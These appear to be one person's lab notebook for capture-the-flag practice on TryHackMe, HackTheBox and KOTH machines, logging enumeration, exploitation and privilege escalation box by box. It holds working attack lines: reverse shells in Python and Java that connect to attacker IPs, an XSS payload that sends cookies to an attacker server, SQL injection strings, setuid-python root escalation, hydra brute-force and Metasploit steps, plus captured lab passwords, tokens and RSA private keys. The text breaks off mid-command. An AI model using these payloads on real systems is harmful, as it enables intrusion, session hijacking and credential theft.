/phpinfo.php

Provide php server
information

Zend Engine v3.4.0,

Found in source
code:

Got the hing
"Draco's password is his house" so I am assuming Slytherin

Brought to wordpress
page - running Wordpress 5.5.3

http://10.0.2.9/DiagonAlley/index.php/login.php

Used Ffuf and
discovered wp-admin

Logged into
Wordpress to do a reverse shell with a plugin. Used these steps and got shell!

https://www.sevenlayers.com/index.php/179-wordpress-plugin-reverse-shell

Found dobby's
password (ilikesocks) and then used SUID bit for FIND to elevate to shell.

Kiba (THM)

URL: https://www.tryhackme.com/room/kiba

Description:

Identify the
critical security flaw in the data visualization dashboard, that allows execute
remote code execution.

IP: 10.10.221.8

Vulnerability
Details:

https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/

Exploit:

https://github.com/mpgn/CVE-2019-7609

Received access to
the Kibana app on port 5601

http://10.10.221.8:5601/app/kibana#/home?_g=()

Got a shell
following the exploit I posted in the beginning!

Got the first flag -

Learned about
"capabilities" and used those to get root

getcap -r /

List all capabilities
recursively

One of them was in a
folder called .hackmeplease and it was python3 -- found a guide to using this
for piv esc with this command from GTFObins

cp $(which python) .

sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0);
os.system("/bin/sh")'

Root!

THM{pr1v1lege_escalat1on_us1ng_capab1l1t1es}

Nax (THM)

Monday,
December 27, 2021

3:56
PM

Description

Identify the
critical security flaw in the most powerful and trusted network monitoring
software on the market, that allows an user authenticated execute remote code
execution.

Found a login page
for Nagios in the source code:

/nagios/

Brings to login
screen

On the home page,
there is a table that's like a periodic table. You can convert it this way:

You then convert the
numbers to ascii and you get: /PI3T.PNg

Found this website
and uploaded the .png site to find username and password:

https://www.bertnase.de/npiet/npiet-execute.php

Username:
nagiosadmin

Password:
n3p3UQ&9BjLp4$7uhWdY

Logged in at
/nagios/ with this information

Working with nagios core
4.4.2

Got a meterpreter
shell!

Got user.txt

----

Got root!

The
Marketplace (THM)

Thursday,
January 13, 2022

8:26
AM

Description:

The
sysadmin of The Marketplace,
Michael, has given you access to an internal server of his, so you can pentest
the marketplace platform he and his team has been working on. He said it still
has a few bugs he and his team need to iron out.

Can
you take advantage of this and will you be able to gain root access on his
server?

IP:

10.10.55.132

Findings:

/robots.txt:

User-Agent: *

Disallow: /admin

Source Code:

/login

Generic login page

/signup

Sign up page that looks the
same as the login page

/item

Error: NotFoundError: Not
Found

Maybe research this error

/images

Error: NotFoundError: Not
Found

/stylesheets

Error: NotFoundError: Not
Found

Can navigate to
other pages by changing /item/#

Nmap scan:

Things to Research
from Nmap:

/admin

Nginx 1.19.2

/indice.shtml

Port 32768

Node.js

/admin on port 32768

Seems to be identical

All the pages seem identical
on port 32768 and port 80

Dirb Scan:

Things to Research
from Dirb:

Three admin pages:

/admin

/Admin

/ADMIN

All of these just get the
message "You are not authorized to view this page"

Two login pages:

/login

/Login

/messages

Bring to the login screen

/new

Brings to the login screen

Attack Vectors:

I think I need to figure out
how to get an initial account for access. Most things are behind the
generic login screen. I see a few options:

Injection Attack

Brute Force

Next Steps (1/13 @
9:20am)

Nikto scan

Gobuster for directory
enumeration

See if dirb missed anything

Burpsuite enumeration

Check log in pages

Check cookies

Watch the http process - try
to find something unique

Created an account
with sign-up

Username: hacker

Password: hacker123

Initial Attack
Vendor?: Something with reporting items

What happens when you report:

I wonder if I have to send
something else through the submit with Burpsuite…

Did Burpsuite to monitor the
login process and got a cookie token. Decoded it and received this result:

Re-encoded:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9eyJ1c2VySWQiOjQsInVzZXJuYW1lIjoiaGFja2VyIiwiYWRtaW4iOnRydWUsImlhdCI6MTY0MjE3Njk3MX0dTCZzRG50QkdOSWFuAit1P1E=

XSS attack is
possible by doing a new listing and typing in the XSS script

Report it to admins
and then they run it… could hijack account?

Used this script to
steal admin cookie: https://github.com/R0B1NL1N/WebHacking101/blob/master/xss-reflected-steal-cookie.md

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2NDIxODEwMzN9.88U0QKzNOSI4mHKJVM_xr4G7cXoPoVctOx4sWQoD2Fg

Decoded:

{"alg":"HS256","typ":"JWT"}{"userId":2,"username":"michael","admin":true,"iat":1642181033}4@9"8rT񯁻qzW-;,Y

X

Used Burpsuite to inject this
cookie at login and was able to log in as Michael!

Got the first flag:

Also found this:

------------------

Question:

Can use the admin account to
do a reverse shell to access the web server?

Can I reset Michael's
password so I have control of his account?

Can I bruteforce
"michael" and "jake" on SSH?

Was Stuck so used a
walkthrough… apparently you use sql injection in the URL

/admin?user=0 union select
1,database(),3,4

Database name = "marketplace"

http://10.10.55.132/admin?user=0%20union%20select%201,group_concat(message_content,0x2b,user_to),3,4%20from%20messages

User Hello! An
automated system has detected your SSH password is too weak and needs to be
changed. You have been generated a new temporary password. Your new password
is: @b_ENXkGYUCAv3zJ+3,Thank
you for your report. One of our admins will evaluate whether the listing you
reported breaks our guidelines and will get back to you via private message.
Thanks for using The Marketplace!+4,Thank you for your report. We have reviewed
the listing and found nothing that violates our rules.+4,Thank you for your
report. One of our admins will evaluate whether the listing you reported breaks
our guidelines and will get back to you via private message. Thanks for using
The Marketplace!+4,Thank you for your report. We have reviewed the listing and
found nothing that violates our rules.+4,Thank you for your report. One of our
admins will evaluate whether the listing you reported breaks our guidelines and
will get back to you via private message. Thanks for using The
Marketplace!+4,Thank you for your report. We have reviewed th

User 3 = jake

Found second flag:

The key is that the backup.sh
uses a tar wildcard

Need to figure out how to
privesc with that

https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

I tried everything, including
copy and pasting from a walkthrough to try and switch to the Michael
account. Nothing worked.

Binex (THM)

Tuesday,
January 18, 2022

2:57
PM

IP: 10.10.201.87

Description:

Enumerate the
machine and get an interactive shell. Exploit an SUID bit file, use GNU
debugger to take advantage of a buffer overflow and gain root access by PATH
manipulation.

Download
enumforlinux.pl and ran this command:

The hint said the
following:

Hint 1: RID range
1000-1003 Hint 2: The longest username has the unsecure password.

Using scanner/ssh/ssh_login
with rockyou.txt to try and bruteforce ssh

Username: tryhackme

Password: thebest

SUID Bit set for Des

Ran this command and
switch to des

You flag is
THM{exploit_the_SUID}

login crdential (In
case you need it)

username: des

password:
destructive_72656275696c64

Next is to get Kel's
login via buffer overflow

Buffer is set to 600
- can probably overflow that part of the program

Verifying that it's
vulnerable:

This command gives
me the pattern I need:

---

Stuck on the Buffer
Overflow, used the latest pwnkit vulnerability and got root and all the flags
like a boss

OSCP Boxes

Tuesday,
February 1, 2022

3:43
PM

Alfred

Blue

Brainstorm

Corp

HackPark

Ignite

Kenobi

Skynet

Steel Mountain

Thompson

Gallery
(THM)

Friday,
February 11, 2022

1:39
PM

LESSONS LEARNED:

You can copy exploits from
Searchsploit to your machine

searchsploit -m
<exploit.py>

Always read through the code
- that's how I did the SQL injection when the code didn't seem to give me
a shell

Update linpeas.sh each time.
I couldn't find the information I needed until I downloaded the latest
version of linpeas and used that for enumeration

Make sure you fully
stabilize your reverse shell. Couldn't get nano to open until I
stabilized the shell

---------------

Description:

Our gallery is not
very well secured.

Port 8080

CMS:

Simple Image
Gallery

Found an exploit
and copied it from searchsploit:

Looks like I was
able to upload a shell:

Couldn't get a
reverse shell properly with the code but reading through the code, it logs in
with these credentials as an SQL injection

admin' or '1'='1'#

I tried that and
got access!

Uploaded a .php
shell as a picture and got access in terminal like a boss

SUID bit isn't the
answer:

Copied linpeas.sh
to the /tmp folder...

Interesting finds
to check out:

Found this:

Password:
b3stpassw0rdbr0xx

Switched to Mike
with that password

Got the user.txt
flag!

Possible priv esc
vector

Rootkit.sh script:

Was stuck because I
couldn't do read - it would just error out. Learned I needed to upgrade to a
stable shell and did so with these commands

Still not working

Instead tried this
guide (referenced What The Shell room - should check that out)

export
TERM=xterm

which
python3 [ Will allow to know what python is installed ]

python3
-c 'import pty;pty.spawn("/bin/bash")'

press
CTRL+Z to bcakground the shell and also run the command on attacker
machine

stty
raw -echo ; fg

reset

That one worked to
open nano with the read command:

command - sudo
/bin/bash /opt/rootkit.sh

read

Once Nano opens:

Ctrl + R

Ctrl + X

Type "reset; sh
1>&0 2>&0" and hit enter

Got root

Still need the
admin hash, found a python script that will bruteforce it:

https://raw.githubusercontent.com/musyoka101/Simple-Image-Gallery-1.0-blind-SQL-Injection/main/exploit.py

Ice (THM)

Tuesday,
February 15, 2022

1:16
PM

Description:

Deploy & hack
into a Windows machine, exploiting a very poorly secured media server.

The icecast server is
vulnerable to CVE-2004-1561

Used metasploit and got a
meterpreter shell

Ran the
"local_exploit_suggester command:

Put shell in the
background with CTRL + Z and then ran the suggested exploit with metasploit

Used the ps command
to see running processes to migrate to and identified the print spooler
(spoolsv.exe) as a good one

Migrated to it

Root boys

Loaded mimikatz to
begin pwning stuff

Plotted-TMS
(THM)

Monday,
February 21, 2022

10:41
AM

Code Review
(Pentester Lab)

Tuesday,
March 1, 2022

2:51
PM

URL: https://github.com/PentesterLab/cr/archive/master.zip

Issues:

The error message specifies
whether or not a user or password exists in the system. This can be used
to identify valid usernames and/or passwords for brute forcing.

The cookie does not seem to
be randomly generated so could likely be spoofed.

No input validation on the
login field - could be used for injection attacks

Weak sanitization of .pdf
files - could bypass this and upload a malicious file

Allows user input as part of
a SQL query - could be used for SQL injection

Found hard-coded credentials

Internal
(THM)

Thursday,
March 3, 2022

1:57
PM

Difficulty
Level: Hard

You
have been assigned to a client that wants a penetration test conducted on an
environment due to be released to production in three weeks.

Scope of Work

The
client requests that an engineer conducts an external, web app, and internal
assessment of the provided virtual environment. The client has asked that
minimal information be provided about the assessment, wanting the engagement
conducted from the eyes of a malicious actor (black box penetration
test).  The client has asked that you secure two flags (no location
provided) as proof of exploitation:

User.txt

Root.txt

Additionally,
the client has provided the following scope allowances:

Ensure that you modify your
hosts file to reflect internal.thm

Any tools or techniques are
permitted in this engagement

Locate and note all
vulnerabilities found

Submit the flags discovered
to the dashboard

Only the IP address assigned
to your machine is in scope

------------------------------

Interesting that telnet is a
service...

Finding:
Apache2 Ubuntu Default Page

internal.thm/

Found
a wordpress site at /blog/ and a publicly accessible login page
/blog/wp-login.php

According to Wappalyzer:

Wordpress 5.4.2

Database = mySQL

Apache 2.4.29

You
can post comments on blog posts - possible attack vector

http://internal.thm/blog/index.php/2020/08/03/hello-world/

Information
Leakage - tells if the username is correct or not

admin
is a valid account

Possible
brute force tool

https://github.com/N4nj0/CVE-2020-35590

There is a
phpMyAdmin page at /phpmyadmin/

WPScan Interesting
Results

Nikto interesting
find

-----------------------------------------------

Attack Vectors:

-- Try and connect
to port 23 since it says the service is telnet

Connection Refused

-- Research
vulnerabilities for Apache 2.4.29 since it's out of
date

https://nvd.nist.gov/vuln/detail/CVE-2021-26691

https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/README.md

--
Research attacks via comment section

-- SQL
Injection or Bruteforce the /wp-login/ page

-- SQL
Injection or Bruteforce /phpmyadmin/ page

--
Research vulnerabilities for wordpress 5.4.2

--
Cookie manipulation since httponly flag is not set

--
Figure out what "x-ob_mode" is

Initial
Success

--
Learned via bruteforcing the wp-admin page with wpscan the admin credentials

Username:
admin

Password:
my2boys

I know
that Wordpress themes are vulnerable to reverse shells from a previous box.

I
edited the footer.php theme with a php reverse shell and got a shell on the
server!

Stabilize
shell with these steps:

export
TERM=xterm

which
python3 [ Will allow to know what python is installed ]

python3
-c 'import pty;pty.spawn("/bin/bash")'

press
CTRL+Z to bcakground the shell and also run the command on attacker machine

stty
raw -echo ; fg

reset

User's
name must be "aubreanna"

Enumeration
time

Can't do sudo as www-data

No good suid bits set either

Let's see if linpeas finds
anything interesting...

Interesting
Finds...

Compiled
CVE-2021-4034 and got root like a boss

KOTH (Shrek)

Wednesday,
March 9, 2022

10:09
PM

FTP - 3.0.2

RSA key

MIIEogIBAAKCAQEAsKHyvIOqmETYwUvLDAWg4ZXHb/oTgk7A4vkUY1AZC0S6fzNE

JmewL2ZJ6ioyCXhFmvlA7GC9iMJp13L5a6qeRiQEVwp6M5AYYsm/fTWXZuA2Qf4z

8o+cnnD+nswE9iLe5xPl9NvvyLANWNkn6cHkEOfQ1HYFMFP+85rmJ2o1upHkgcUI

ONDAnRigLz2IwJHeZAvllB5cszvmrLmgJWQg2DIvL/2s+J//rSEKyISmGVBxDdRm

T5ogSbSeJ9e+CfHtfOnUShWVaa2xIO49sKtu+s5LAgURtyX0MiB88NfXcUWC7uO0

Z1hd/W/rzlzKhvYlKPZON+J9ViJLNg36HqoLcwIDAQABAoIBABaM5n+Y07vS9lVf

RtIHGe4TAD5UkA8P3OJdaHPxcvEUWjcJJYc9r6mthnxF3NOGrmRFtDs5cpk2MOsX

u646PzC3QnKWXNmeaO6b0T28DNNOhr7QJHOwUA+OX4OIio2eEBUyXiZvueJGT73r

I4Rdg6+A2RF269yqrJ8PRJj9n1RtO4FPLsQ/5d6qxaHp543BMVFqYEWvrsdNU2Jl

VUAB652BcXpBuJALUV0iBsDxbqIKFl5wIsrTNWh+hkUTwo9HroQEVd4svCN+Jr5B

Npr81WG2jbKqOx2kJVFW/yCivmr/f/XokyOLBi4N/5Wqq+JuHD0zSPTtY5K04SUd

63TWQ5kCgYEA32IwfmDwGZBhqs3+QAH7y46ByIOa632DnZnFu2IqKySpTDk6chmh

ONSfc4coKwRq5T0zofHIKLYwO8vVpJq4iQ31r+oe7fAHh08w/mBC3ciCSi6EQdm5

RMxW0i4usAuneJ04rVmWWHepADB0BqYiByWtWFYAY9Kpks/ks9yWHn8CgYEAymxD

q3xvaWFycawJ+I/P5gW8+Wr1L3VrGbBRj1uPhNF0yQcA03ZjyyViDKeT/uBfCCxX

LPoLmoLYGmisl/MGq3T0g0TtrgvkFU6qZ3sjYJ+O/yrT06HYapJLv6Ns/+98uNvi

3VEQodZNII8P6WLk3RPp1NzDVcFDLmD9C40UAQ0CgYBokPgOUKZT8Sgm4mJ/5+3M

LZtHF4PvdEOmBJNw0dTXeUPesHNRcfnsNmulksEU0e6P/IQs7Jc7p30QoKwTb3Gu

hmBZxohP7So5BrLygHEMjI2g2AGFKbv2HokNvhyQwAPXDBG549Pi+bCcrBHEAwSu

v85TKX7pO3WxiauPHlUPVQKBgFmIF0ozKKgIpPDoMiTRnxfTc+kxyK6sFanwFbL9

wXXymuALi+78D1mb+Ek2mbwDC6V2zzwigJ1fwCu2Hpi6sjmF6lxhUWtI8SIHgFFy

4ovrJvlvvO9/R1SjzoM9yolNKPIut6JCJ8QdIFIFVPlad3XdR/CRkIhOieNqnKHO

TYnFAoGAbRrJYVZaJhVzgg7H22UM+sAuL6TR6hDLqD2wA1vnQvGk8qh95Mg9+M/X

6Zmia1R6Wfm2gIGirxK6s+XOpfqKncFmdjEqO+PHr4vaKSONKB0GzLI7ZlOPPU5V

Q2FZnCyRqaHlYUKWwZBt2UYbC46sfCWapormgwo3xA8Ix/jrBBI=

https://docs.rackspace.com/support/how-to/logging-in-with-an-ssh-private-key-on-linuxmac/?fbclid=IwAR0u629SjCREUvVUPCqAeEINgZ1F6AfJT8bhA5HWQJbs-Y8yy8sFNHCNJ6M

CMS Made simple

Bounty
Hacker (THM)

Thursday,
March 10, 2022

2:38
PM

Description:

You were boasting on
and on about your elite hacker skills in the bar and a few Bounty Hunters
decided they'd take you up on claims! Prove your status is more than just a few
glasses at the bar. I sense bell peppers & beef in your future!

Port 21 - FTP

Things to look into:

Version = vsftpd 3.0.3

Anonymous login allowed

Keep freezing up - had to
type "passive" to fix it

There were two files in this
- locks.txt and task.txt

Locks.txt:

rEddrAGON

ReDdr4g0nSynd!cat3

Dr@gOn$yn9icat3

R3DDr46ONSYndIC@Te

ReddRA60N

R3dDrag0nSynd1c4te

dRa6oN5YNDiCATE

ReDDR4g0n5ynDIc4te

R3Dr4gOn2044

RedDr4gonSynd1cat3

R3dDRaG0Nsynd1c@T3

Synd1c4teDr@g0n

reddRAg0N

REddRaG0N5yNdIc47e

Dra6oN$yndIC@t3

4L1mi6H71StHeB357

rEDdragOn$ynd1c473

DrAgoN5ynD1cATE

ReDdrag0n$ynd1cate

Dr@gOn$yND1C4Te

RedDr@gonSyn9ic47e

REd$yNdIc47e

dr@goN5YNd1c@73

rEDdrAGOnSyNDiCat3

r3ddr@g0N

ReDSynd1ca7e

Task.txt:

1.) Protect Vicious.

2.) Plan for Red Eye
pickup on the moon.

-lin

-----

Locks.txt is
probably passwords. Not sure what task.txt is but it provides a username - lin
- could maybe bruteforce that account with the provided passwords

And found a valid
username/password combination

Success!

Found the first flag

Sudo priv set

Ran a command from
gtfobins and I am now root

KOTH (Panda)

Friday,
March 11, 2022

3:08
PM

Found flag at /flag/

5a4449794d4745314e475a694d6d59775a6a41344f4755335a5749324d7a526d5957526a5a4751354e32593d

Port 8080

Log in page at /manager/

Anthem (THM)

Monday,
March 14, 2022

10:09
AM

Description:

Exploit a Windows
machine in this beginner level challenge.

Possible passwords
in robots.txt

Found a flag
/authors

THM{L0L_WH0_D15}

Found another flag
in source code

Found another flag
in /archive/we-are-hiring/

Found final flag in
/archive/a-cheers-to-our-it-department/

Got logged into the
/umbraco cms with the following credentials

username:
[email-masked]

password:
UmbracoIsTheBest!

Logged into RDP with
Remmina with the following

username: sg

password:
UmbracoIsTheBest!

Found user flag

Found a backup with
restore.txt in local disk -- had to provide permissions for sg to view it &
found admin password

Logged out of box
and logged in as "Administrator" with the password above and got the
root flag on the desktop

Offline
(KOTH)

Monday,
March 14, 2022

1:57
PM

Usernames

Tazers

Mykull

Password

St4bux:3

88/tcp    open
kerberos-sec

135/tcp   open
msrpc

139/tcp   open
netbios-ssn

464/tcp   open
kpasswd5

49152/tcp open  unknown

49153/tcp open  unknown

49154/tcp open  unknown

49155/tcp open  unknown

49158/tcp open  unknown

49159/tcp open  unknown

49176/tcp open  unknown

Fortune
(KOTH)

Tuesday,
March 15, 2022

10:22
AM

-----BEGIN RSA
PRIVATE KEY-----

Proc-Type:
4,ENCRYPTED

DEK-Info:
AES-128-CBC,1F3E4AF4BFF16E5691926CD5E15B7F1E

KCmcvOOJXA4A9Me5oAoz72Ut5Ra3TeADlJFW8pp6UxguzHOuzOo0OooZEjQ9eqWw

YGItopTZaayHrF0q+HOYQpIZeY6WpM93+99QBNO7sWQS6Kcr2lcfTNtbGGBdHMpT

+NzUcziMMKnFN3Bf4TPBU686Aj/um20n6X1ss8lTJwX4SmhNFln85qtIPXDwLNDF

IG0fJkS2NLrKxV19VjEhYUQ4J2MdeDEEDGIxCBXS0k1L+4qOZfSUhyCtdGoFipUc

3hDgjaDz7lzrGxf0qTFgp602d1FVfvs427vanUv3c1g1xyblra/EhoPO7COOICiT

8nn2ZNoCOPaE2COuGLZwP1Teco2wXho7t5sWAAm1bfkg38LTjobb77frhImF50jO

gbdgj27OGP/uBnnSpRuzCtJiYFkszfHRLCln2+Vpx45ebgt811QpxWL18bm4eF8g

YLkfNfXkK5ZnL3jnjhF1PGmej0AoqhlzmsCMYWGXZ+3SgnSPKufZJ1iUCuPKPSrD

t25MNFmun0CvTpIe19p5IGs+YN87PvZdqfLV2Lzokc/eH5zbVWe8aAhXOUXTT90M

e+BESQxg6RrJzbJ9jRQAXIL34AKX2ze+UIlzYrcQrwjlHIgw/C1KfM+9hxlT05Rg

hwlX3BjvOlpQCxGxx3oBv+IRE8jm6ZxUwRBik255ZegyJs7O1HXeW36mObJPbqZV

M1iSMhhQJa8A641Vh5gaT9WXvUvlKxLwdkX6Pm0bXZcXflshJd0MWk1mlnmzJC8s

zAb+9fZ80nB7StRnb32nW2GdN+WqkrCOt5O5DZnG8IYPJuGmWzi78BZEzjzUum9n

DhiPIYTWrUvwcHK0IeqPslSHxiskNXI58Tu0Wocc54SnEgTPu3A5Orn46j732ToY

8ThSdW7O3s3a7XaQs5G8/RIzJ8Jx4vdkwEA5dnm+trKvEPURo5+ftzRLwWU85bzD

mh5pdOwSfs1Q8x8bkiVLI8qbqtQSGlvvkJqrOhzecb58Jx4JuLvjdNz/IXEwM0/+

i5sa8Hcqt9tstaYxJdrMUkE7lawzsJbEYyA6nH/xQR7gm70EFHmKXOa9BIyWLK1J

7R0SHbmCHclec+l6WJIhJ6QQcnyda6OknQuJ4fDhIUti5tKHsUHg08eXi4dFhjV4

N2Tv4clSPj5CEdnLNh4lyea7J4jgwU43aUbtx/KTfqTJ0PQyOoF+UmYYC48T3I7K

lG6KBPX+i1UbX7jsCG/cKFxHPGd83z02fdQ2Wg1iy8DZZ7HJxfTUOuWokxFeh0Il

8VlAOxpwujVZHLldo4OWel32/q+ZtZS8G7avnMXAeyU547/KVJAj3U3M/nqxNNxA

KWRuSv4FuXpMnZpelxH/sUugHBo/OdIJtt5yzVZ2SY6EKTDYsRom694RzzkYMWGl

MNBtTkL6Hr2WKcYb0A+nG0A5gNJk7JRXZL//REcf4E5aRNYNb9qlmWyGtP92XJ05

s106gTr85CSq8GE+1P16kNJcCuoGx7cW7qDqSKkcLaDKJR8roJpfl9qs4JkIDvTw

hGe8kWQ5IyRDUKPeCWrO67bxmvZfBqgFMWvp9+whrKV04AyDB4hlIwma34QrVrfu

-----END RSA PRIVATE
KEY-----

Space Jam

Tuesday,
March 15, 2022

11:13
PM

Port 3000

http://box.thm:3000/?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.13.10.98%22,4242));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

Root

Flags:

/home/root/root.txt

/home/jordan/user.txt

Once you
have root…

Tuesday,
March 15, 2022

11:09
PM

Chattr -i
/root/king.txt

Kill other shells

w (see which PTS)

ps aux | grep pts
(see which PID|

kill -9 <PID>

Hackers
(KOTH)

Wednesday,
March 16, 2022

11:53
AM

Any users with
passwords in this list:

love

sex

god

secret

will be subject to
an immediate disciplinary hearing.

Any users with other
weak passwords will be complained at, loudly.

These users are:

rcampbell:Robert M.
Campbell:Weak password

gcrawford:Gerard B.
Crawford:Exposing crypto keys, weak password

Exposing the
company's cryptographic keys is a disciplinary offense.

Eugene Belford, CSO

/backdoor

robots.txt

Skiddies keep out.

Any unauthorised
access will be forwarded straight to Richard McGill FBI and you WILL be
arrested.

- plague

username = plague =
admin?

plague = Eugune
Belford

other staff

dellingson

ebelford

mwallace

FLAG

ftp

get .flag - (lists
it in the ftp client to see it)

/backdoor/shell --
but goes away quickly

Used hydra to
bruteforce and got credentials

hydra box.thm
http-post-form '/api/login:username=^USER^&password=^PASS^:Incorrect' -l
plague -P /usr/share/wordlists/rockyou.txt -t 64

used capabilities on
python to get root

Tyler (KOTH)

Wednesday,
March 16, 2022

3:32
PM

alert from smb

X8JEETQmf3hkS65f

/betatest/

narrator

Production
(KOTH)

Thursday,
March 17, 2022

11:33
AM

southeasttechlol

Devel (HTB)

Friday,
March 18, 2022

8:45
AM

Open FTP with anon
login on port 21

Uploaded an aspx
file for commands -- ftp connects to web root

---

Ended up uploading
the shell.aspx file and got shell on the computer

https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx

Paper (HTB)

Friday,
March 18, 2022

1:46
PM

Had to do a curl
request:

Added this to
/etc/hosts/ file

Then office.paper is
a wordpress site

Log in page located
at /wp-admin

wpscan results:

Note that there is
"secret content" in the drafts

Need to exploit
CVE-2019-17671

Added /?static=1 to
URL and found the hidden posts

Updated my
/etc/hosts file to chat.office.paper and got access to login/registration

Created an account
and discovered "recyclops" bot which can apparently take commands

Got the /environ/
file and found this:

SSH with dwight and
this password and got an SSH shell

First flag

sudo = no

sudo bit = no

capabilities = no

cron jobs = no

Checking Linpeas....

CVE-2021-3560 is a
polkit vulnerability that creates a root user

https://raw.githubusercontent.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/main/poc.sh

Uploaded this from
attack machine, ran it on victim, and it created the account

Keep getting
authenticator failure when trying to switch account but it did create the
account

RootMe (THM)

Saturday,
March 19, 2022

9:55
PM

Chatterbox
(HTB)

Wednesday,
March 23, 2022

10:49
AM

Had to do this to
see what was tcpwrapped

Got shell access
with buffer overflow -- found this password file

reg query "HKLM\SOFTWARE\Microsoft\Windows
NT\Currentversion\Winlogon"

From
<https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html>

Secret (HTB)

Thursday,
March 24, 2022

10:33
AM

I think I need to do
some cookie editing

SecNotes
(HTB)

Monday,
March 28, 2022

3:37
PM

Port 80

Web server with log
in page:

Note -- ability to create an
account

Created an account -- there
are notes you can make. Verified the page is vulnerable to XXS attacks

Might be able to do
a reverse shell this way:

https://www.hackingarticles.in/cross-site-scripting-exploitation/

No luck - but I can
send a message to "[email-masked]" who is presumably the admin.
Maybe I can steal some cookies

Sent a message with this
one-liner for cookie stealing after starting my cookie-stealer python/web
server script -- waiting for cookies now...

<script>var
i=new
Image;i.src="http://10.10.14.13:8888/?"+document.cookie;</script>

Didn't seem to work

-----------------------------------------------

TCM Walkthrough

Log in with SQL Injection

Find the credentials in the
new site note

Use smbclient to connect to
the "new-site" share

This is the site for the page
on 8808

Copy nc.exe to the folder we
want to use (new tab)

Put nc.exe in the smbclient
folder

Create malicious php shell
file

Put the malicious php in the
smb share

Set up net cat listener on
attacking machine

Go to the malicious php file
on the web page -- and you have shell

Priv Esc

Search for bash.exe

Search for wsl.exe

Run bash.exe and get a linux
terminal as root

Upgrade shell

Good enumeration - check the
bash history with the "history" command

You can get the flags by
using the administrator credentials found in the history

Download impacket from github
to /opt/ -- use pip to install

Use smbexec to get nt
authority/system access

Jeeves (HTB)

Tuesday,
March 29, 2022

2:25
PM

Information disclosure with
error message

Port 50000
information disclosure -

Jetty
9.4.z-SNAPSHOT

Found a script
console on port 50000/askjeeves/script

Going to try this
in the console:

String
host=”10.10.14.13";

int port=9993;

String
cmd=”cmd.exe”;

Process p=new
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Got shell!

Interesting finds
from windows-exploit-suggester.py

Possible admin
credentials

ccd3bc435b3c4f80bea8acca28aec491

More possible admin
credentials found in config file

<passwordHash>#jbcrypt:$2a$10$QyIjgAFa7r3x8IMyqkeCluCB7ddvbR7wUn1GmFJNO2jQp2k8roehO</passwordHash>

Looks like
impersonate is enabled

Metasploit Time

Open metasploit
(msfconsole)

Type "use
exploit/multi/script/web_delivery"

Set the options:

target = 2 (psh)

set payload
windows/meterpreter/reverse_tcp

set lhost to attacker IP

set srvhost to attacker ip
as well

Type
"run" and copy the powershell command

Run the command
on victim machine -- should get meterpreter shell

Type
"sessions 1" to open the session

getuid

sysinfo

getprivs

Type
"background" to background the session

Search for
"juicy potato" and select the exploit

Set options

set lhost to
attacker ip

set lport to 5555 (session
1 is on 4444)

set session to 1

set payload
windows/x64/meterpreter/reverse_tcp

Type
"Run" and get meterpreter shell

Type
"shell" to drop in shell - use "whoami" to verify
that we are root

Go to
C:\Users\Administrators\Desktop -- type dir to see the hm.txt

Type "type
hm.txt" -- need to "look deeper"

Alternate Data
Streams

https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/

Type "dir
/R" to find the hidden file

Type "more
< hm.txt:root.txt:$DATA" to get the root flag

Access (HTB)

Wednesday,
March 30, 2022

10:44
AM

Looking for cmdkey
/list after getting low-level shell.

Port 21 - FTP

Two files -- backup and an
archive

Can't open the archive and I
can't open the backup due to an error. I am guessing there are passwords
in the back up I can use for telnet.

GOt access to the back up
after changing ftp to binary

admin

admin

engineer

access4u@security

backup_admin

admin

----

Opened the .pst file
and found this information -- password is from the engineer creds above

4Cc3ssC0ntr0ller

Got telnet access

Used the telnet log in module
in Metasploit to get a session in Metasploit

Used
multi/manage/shell_to_meterpreter to get a meterpreter session from the
telnet connection

------------ Scratch
that ^^^ did not work

RunAs Walkthrough

Type "cmdkey /list"
to see if there are stored credentials

Type the following command -
this will copy the root folder over so you can read it. Runas is similar
to sudo in Linux.

C:\Windows\System32\runas.exe
/user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE
C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"

Tech_Supp0rt
(THM)

Wednesday,
April 20, 2022

10:03
AM

Description

Hack into the
scammer's under-development website to foil their plans.

Hack into the
machine and investigate the target.

Please allow about 5
minutes for the machine to fully boot!

Note: The theme and
security warnings encountered in this room are part of the challenge.

--------------

Port 80 - default
apache page

Interesting files

/test/ = spamming
page

/wordpress/ -
Wordpress page -- likely attack vector

Interesting wpscan
results

Found enter.txt in
the smbclient share - websvr

7sKvntXdPEJaxazce9PXi24zaFrLiKWCk

Used the
"magic" function in Cyberchef to decode

Subrion Creds:

admin:Scam2021

Found the login for
subrion

/subrion/panel

Got logged in...

Can upload stuff at
/subrion/panel/uploads

Version = Subrion
4.2

Possible exploit? https://github.com/intelliants/subrion/issues/801

Got a shell with
this script:

https://packetstormsecurity.com/files/162591/Subrion-CMS-4.2.1-Shell-Upload.html

No sudo -l

Nothing interesting in suid
bits

No interesting capabilities

Crontabs - might be
an attack vector (need to research more)

My shell was limited
so I used a python reverse shell to get a bash shell with more features. I ran
this command on the victim machine:

/usr/bin/python -c
'import
